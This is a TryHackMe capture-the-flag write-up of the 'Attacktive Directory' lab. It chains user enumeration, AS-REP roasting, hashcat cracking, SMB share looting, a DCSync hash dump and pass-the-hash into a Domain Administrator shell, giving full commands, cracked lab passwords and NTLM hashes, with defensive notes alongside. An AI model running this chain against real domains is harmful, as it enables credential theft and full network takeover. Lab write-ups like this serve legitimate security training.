

Attacktive Directory

TryHackMe — Full Attack Chain Writeup
Windows Active Directory Compromise

This writeup covers the complete attack chain for the TryHackMe room **Attacktive Directory**. The lab simulates a realistic Windows Active Directory environment. Starting from zero credentials, we enumerate the domain, identify vulnerable accounts, crack a Kerberos hash offline, pivot to a high-privilege service account, and ultimately dump all domain hashes to achieve full domain compromise via Pass-the-Hash.

Item	Detail
Platform	TryHackMe
OS	Windows Server (Active Directory)
Domain	spookysec.local
DC IP	10.114.180.244
Difficulty	Medium
Key Techniques	ASREPROasting, Kerberos Hash Cracking, SMB Enumeration, DCSync (DRSUAPI), Pass-the-Hash

Phase 1 — SMB & Domain Enumeration

What is SMB?

Server Message Block (SMB) runs on ports **139** and **445**. In an Active Directory environment, SMB is used for file sharing, printer access, and inter-process communication. Unauthenticated or low-privilege access to SMB can leak critical domain information — usernames, shares, OS version, and domain name.

Tool: enum4linux

enum4linux automates enumeration of SMB services. It wraps tools like *smbclient*, *nmblookup*, and *rpcclient* to pull users, groups, shares, OS info, and domain data in one pass.

```
enum4linux -a 10.114.180.244
```

Key Findings

- **NetBIOS Domain Name:** THM-AD
- **Domain:** spookysec.local

- **TLD note:** The **.local** TLD is not a valid public TLD — it is reserved for mDNS/Bonjour. Its widespread use in internal AD environments is a common misconfiguration that can cause network conflicts.

Phase 2 — Username Enumeration with Kerbrute

How Kerbrute Works

Kerberos (port 88) is the authentication protocol for Active Directory. When a client requests a Ticket Granting Ticket (TGT), the Key Distribution Center (KDC) responds differently depending on whether the username exists. **Kerbrute** exploits this: it fires AS-REQ packets for each username and classifies responses — no account lockout triggered, no password needed.

```
./kerbrute userenum --dc 10.114.180.244 -d spookysec.local userlist.txt
```

Discovered Accounts (notable)

Username	Notes
svc-admin	Service account — high value, ASREPROastable
backup	Backup/replication account — DCSync privileges
administrator	Domain Administrator
james, robin, darkstar, paradox, ori	Standard domain users

Phase 3 — ASREPRoasting svc-admin

What is ASREPRoasting?

Normally, a Kerberos client must prove knowledge of its password before the KDC issues a TGT — this is called **pre-authentication**. When pre-auth is disabled on an account, anyone can request an AS-REP ticket for that user *without a password*. The KDC's response is encrypted with the user's password hash, so the ticket can be taken offline and cracked.

Step 1 — Request the AS-REP ticket

```
impacket-GetNPUsers spookysec.local/svc-admin -no-pass -dc-ip 10.114.180.244
```

Retrieved hash (Kerberos 5, etype 23, AS-REP):

```
$krb5asrep$23$svc-admin@SP00KYSEC.LOCAL:e8aadb5fa06bf61f...<truncated>
```

Step 2 — Crack the hash offline with Hashcat

The **\$23\$** prefix indicates RC4-HMAC encryption (etype 23). Hashcat mode **18200** targets this exact format. We use the room-provided wordlist downloaded from GitHub.

```
wget https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/passwordlist.txt
hashcat -m 18200 hash.txt passwordlist.txt --force
```

Result:

Field	Value
Username	svc-admin
Password	management2005
Hash Mode	18200 — Kerberos 5, etype 23, AS-REP

***Why does this work?** The hash is encrypted with the user's NT hash, which is derived from their password. RC4-HMAC (etype 23) is a weak legacy cipher — modern environments should enforce AES (etype 17/18) and require pre-authentication on all accounts.*

Phase 4 — SMB Share Enumeration & Credential Discovery

List available shares

```
smbclient -L \\10.114.180.244\ -U svc-admin
# Password: management2005
```

Shares discovered:

Share	Notes
ADMIN\$	Remote Admin — requires local admin
backup	Non-standard share — INTERESTING
C\$	Default C drive share

IPC\$	Inter-process communication
NETLOGON	Logon server share — GPOs/scripts
SYSVOL	Logon server share — domain policies

Access the backup share

```
smbclient \\\10.114.180.244\backup -U svc-admin
smb: \> ls
smb: \> get backup_credentials.txt
smb: \> exit
```

```
cat backup_credentials.txt
# Output: YmFja3VwQHNwb29reXNlYy5sb2NhbdPiyWNrdXAYNTE3ODYw
```

Decode the Base64 credentials

```
echo 'YmFja3VwQHNwb29reXNlYy5sb2NhbdPiyWNrdXAYNTE3ODYw' | base64 -d
# Output: backup@spookysec.local:backup2517860
```

Field	Value
Username	backup
Password	backup2517860

Phase 5 — DCSync Attack via DRSUAPI

What is DCSync?

Active Directory Domain Controllers synchronise their databases with each other using the **Directory Replication Service (DRS)** protocol — specifically the **DRSUAPI** RPC interface. Accounts with *Replicating Directory Changes* and *Replicating Directory Changes All* permissions (e.g. the backup account) can impersonate a DC and request all password hashes from NTDS.DIT — the AD database — without ever touching the disk.

Why the backup account has this privilege

The **backup** account is configured for domain replication tasks. This grants it DCSync rights by design — but it also means any attacker who compromises this account instantly owns the entire domain.

Execute secretsdump

```
impacket-secretsdump spookysec.local/backup:backup2517860@10.114.180.244
```

Output format: username:RID:LMhash:NTHash

```
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local\svc-admin:1114:...:fc0f1e5359e372aa1f69147375ba6809:::
spookysec.local\backup:1118:...:19741bde08e135f4b40f1ca9aab45538:::
... (all domain hashes)
```

Administrator NTLM hash:

Field	Value
Username	Administrator
NTLM Hash	0e0363213e37b94221497260b0bcb4fc
RID	500

Phase 6 — Pass-the-Hash with Evil-WinRM

What is Pass-the-Hash?

Windows authentication (NTLM) uses the password hash directly during the challenge-response handshake — the plaintext password is never sent. This means an attacker with a valid NTLM hash can authenticate as *that user without ever knowing the password*. This is **Pass-the-Hash (PtH)**.

Authenticate as Domain Administrator

```
evil-winrm -i 10.114.180.244 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
```

The **-H** flag accepts an NTLM hash instead of a password. Evil-WinRM uses WinRM (port 5985) to deliver a PowerShell remoting session.

Retrieve all flags from Administrator shell

```
# svc-admin flag
type C:\Users\svc-admin\Desktop\user.txt.txt

# backup flag
type C:\Users\backup\Desktop\user.txt.txt

# root flag
type C:\Users\Administrator\Desktop\root.txt.txt
```

Full Attack Chain Summary

#	Phase	Tool	Result
1	SMB Enumeration	enum4linux	Domain name, NetBIOS name, shares
2	Username Enumeration	Kerbrute userenum	16 valid AD usernames
3	ASREPRoasting	GetNPUsers.py + Hashcat	svc-admin : management2005
4	SMB Share Access	smbclient	backup share → Base64 credentials
5	Credential Decode	base64 -d	backup : backup2517860
6	DCSync	secretsdump (DRSUAPI)	All domain NTLM hashes
7	Pass-the-Hash	Evil-WinRM -H	Domain Administrator shell

Key Concepts to Remember

ASREPRoasting

Targets accounts with 'Do not require Kerberos preauthentication' enabled. No credentials needed to request the ticket — just a valid username. Defend by enforcing pre-auth on all accounts and auditing the flag in AD.

Kerberos etype 23 (RC4-HMAC)

Legacy encryption used in older AD environments. Weaker than AES (etype 17/18) and more susceptible to offline cracking. Modern environments should mandate AES-only Kerberos encryption.

DRSUAPI / DCSync

The Directory Replication Service API is used legitimately by DCs to sync NTDS.DIT. Any account with Replicating Directory Changes permissions can abuse this to pull all password hashes. Strictly limit who holds these ACLs.

Pass-the-Hash

NTLM authentication uses the hash directly — the plaintext is never needed. Mitigations include Credential Guard, disabling NTLM where possible, and Protected Users security group for privileged accounts.

NTDS.DIT

The Active Directory database file stored on every DC at C:\Windows\NTDS\NTDS.DIT. Contains all user objects and password hashes for the entire domain. DCSync extracts this data remotely without touching disk.

Credentials Harvested

User	Password / Hash	Source
svc-admin	management2005	ASREPROast → Hashcat
backup	backup2517860	SMB backup share (Base64)
Administrator	0e0363213e37b94221497260b0bcb4fc (NTLM)	DCSync (DRSUAPI)